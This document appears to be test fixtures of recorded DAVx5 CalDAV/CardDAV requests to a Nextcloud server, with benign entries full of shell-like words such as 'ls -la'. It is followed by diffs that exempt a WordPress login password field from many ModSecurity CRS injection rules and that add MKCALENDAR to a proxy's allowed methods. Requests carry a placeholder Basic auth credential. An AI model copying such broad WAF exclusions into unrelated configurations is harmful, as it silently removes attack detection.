{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}
+37 -3
View File
@@ -96,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, where a password holds any characters:
# 930120: a password ending in /etc/hosts
# Signing in, in pwd, which skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
+4 -3
View File
@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel()
for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} {
for _, method := range []string{http.MethodTrace, "BREW"} {
t.Run(method, func(t *testing.T) {
t.Parallel()
@@ -344,7 +344,8 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" {
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
}
@@ -370,7 +371,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
"LOCK", "UNLOCK",
"LOCK", "UNLOCK", "MKCALENDAR",
} {
t.Run(method, func(t *testing.T) {
t.Parallel()
+1 -1
View File
@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
// them. It answers any other method 405 itself.
// The WebDAV ones are for Nextcloud.
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK"
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
// Params are what New needs.
type Params struct {